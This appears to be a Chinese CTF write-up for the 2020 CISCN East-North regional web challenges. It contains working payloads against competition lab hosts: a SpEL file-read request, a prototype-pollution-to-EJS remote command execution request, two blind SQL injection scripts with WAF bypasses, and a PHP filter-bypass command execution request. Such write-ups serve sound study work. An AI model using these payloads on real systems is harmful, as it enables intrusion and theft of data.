2020 CISCN 华东北赛区 WEB Writeup

发表于 2020 年 9 月 19 日

一共 6 题 WEB, 我一个人拿了 4 个一血, 还有一题全场 0 解. 然而没有 pwn 爷爷依旧被吊打, 而且题目质量是真的差, 明年再打国赛我是傻逼.

web3

http://172.20.29.103:80/flag.php 直接返回 flag. 你们赛宁没有题目复审的么?

web4

随便 fuzz 根据报错得知是 sepl,构造 payload T%00 绕过过滤直接读文件即可, fix 的时候给看源码, 发现出题人正则写成了 "T\\\\x00", 应该是想到了要过滤的, 你们赛宁没有题目复审的么? x2

 1POST / HTTP/1.1
 2Host: 172.20.29.104:8080
 3Content-Length: 91
 4Cache-Control: max-age=0
 5Origin: http://172.20.29.104:8080
 6Upgrade-Insecure-Requests: 1
 7DNT: 1
 8Content-Type: application/x-www-form-urlencoded
 9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
11Referer: http://172.20.29.104:8080/
12Accept-Encoding: gzip, deflate
13Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7
14Connection: close
15
16expr=T%00(java.nio.file.Files).readAllLines(T%00(java.nio.file.Paths).get%00('/flag.txt')) 

web7

扫出来只有 static 文件夹,根据 server header 得知服务器用的 nginx,同时存在配置错误,可以目录穿越读取文件.
http://172.20.29.107/static../app.js, 在源码中发现使用了 express-fileupload ,存在原型链污染,可以结合 ejs 利用,直接 rce

 1POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
 2Host: 172.20.29.107
 3User-Agent: curl/7.64.1
 4Accept: */*
 5Content-Length: 263
 6Content-Type: multipart/form-data; boundary=------------------------a4826c30ee705335
 7Connection: close
 8
 9--------------------------a4826c30ee705335
10Content-Disposition: form-data; name="__proto__.outputFunctionName"
11
12_tmp1;global.process.mainModule.require('child_process').exec('cat /flag.txt > flag.txt');var __tmp2
13--------------------------a4826c30ee705335--

然后读取 http://172.20.29.107/static../flag.txt 即可

web2

robots.txt 得到 hint.txt, 可以得到 sql 语句, 根据其特性,用 \ 来注入, 之后绕 waf 注入出密码,登陆后得到 c2ZtdHFs.php,

 1import requests
 2import string
 3
 4sess = requests.session()
 5url = 'http://172.20.29.102/'
 6
 7flag = '0x5e'
 8table = string.ascii_letters + '_' + string.digits
 9table = [ord(i) for i in table]
10raw_flag = ''
11for _ in range(100):
12    for i in table:
13        t = flag + hex(i)[2:].rjust(0, '2')
14        #print(t)
15        data = {
16            'username': '\\',
17            'password': '||password/**/regexp/**/binary/**/%s#' % t
18        }
19
20        res = sess.post(url, data)
21        if 'success' in res.text:
22            #print(chr(i))
23            flag += hex(i)[2:].rjust(0, '2')
24            print(flag)
25            raw_flag += chr(i)
26            print(raw_flag)
27            break
28
29    if i == table[-1]:
30        print('WARNGIN')

用 & 绕一下过滤,即可 rce

1GET /c2ZtdHFs.php?gzmtu=(sysuem%26sysvem)((currenu%26currenv)((weucmmhecders%26oevennheeders)())) HTTP/1.1
2A: cat /flag.txt
3Host: 172.20.29.102

web5

pgsql 注入,双写绕过 select,之后熟悉下语法写脚本注入后登陆就有 flag

 1import requests
 2import string
 3
 4sess = requests.session()
 5url = 'http://172.20.29.105/index.php'
 6
 7def to_chr(inp):
 8    ret = ''
 9    for i in inp:
10        ret += f"||chr({ord(i)})"
11    return ret
12
13table = string.ascii_letters + string.digits + '_.-'
14flag = ''
15table = string.printable
16table = [ord(i) for i in table]
17query = 'selselectect/**/password/**/from/**/users/**/limit/**/1/**/OFFSET/**/0'
18
19for _ in range(100):
20    for i in table:
21        t = to_chr(flag) + f'||chr({i})'
22        t = t[2:]
23
24        data = {
25            'username': 'admin',
26            'password': "admin'/**/or/**/'1'/**/and/**/cast(position(%s/**/in/**/(%s))/**/as/**/bool)/**/and/**/'1" % (t, query)
27        }
28
29        res = sess.post('http://172.20.29.105/index.php', data=data)
30        #print(res.text)
31        if 'hacker' in res.text:
32            print('hacker')
33
34        if 'Too Young Too Simple' in res.text:
35            flag += chr(i)
36            print(flag)
37            break
38        if i == table[-1]:
39            print('WARNNING')
40
41            for _ in range(100):
42                for i in table:
43                    t = f'||chr({i})' + to_chr(flag)
44                    t = t[2:]
45                    data = {
46                        'username': 'admin',
47                        'password': "admin'/**/or/**/'1'/**/and/**/cast(position(%s/**/in/**/(%s))/**/as/**/bool)/**/and/**/'1" % (
48                        t, query)
49                    }
50
51                    res = sess.post('http://172.20.29.105/index.php', data=data)
52                    # print(res.text)
53                    if 'hacker' in res.text:
54                        print('hacker')
55
56                    if 'Too Young Too Simple' in res.text:
57                        flag = chr(i) + flag
58                        print(flag)
59                        break
60                    if i == table[-1]:
61                        print('WARNNING')

web6

这题目能把人气笑, 全场 0 解, 最后发现放了个 ssrf.php, 无任何提示, 就硬猜, 而且里面的过滤写成了 /file:|http://|php/, 这是过滤了个锤子, 你们赛宁没有题目复审的么? x3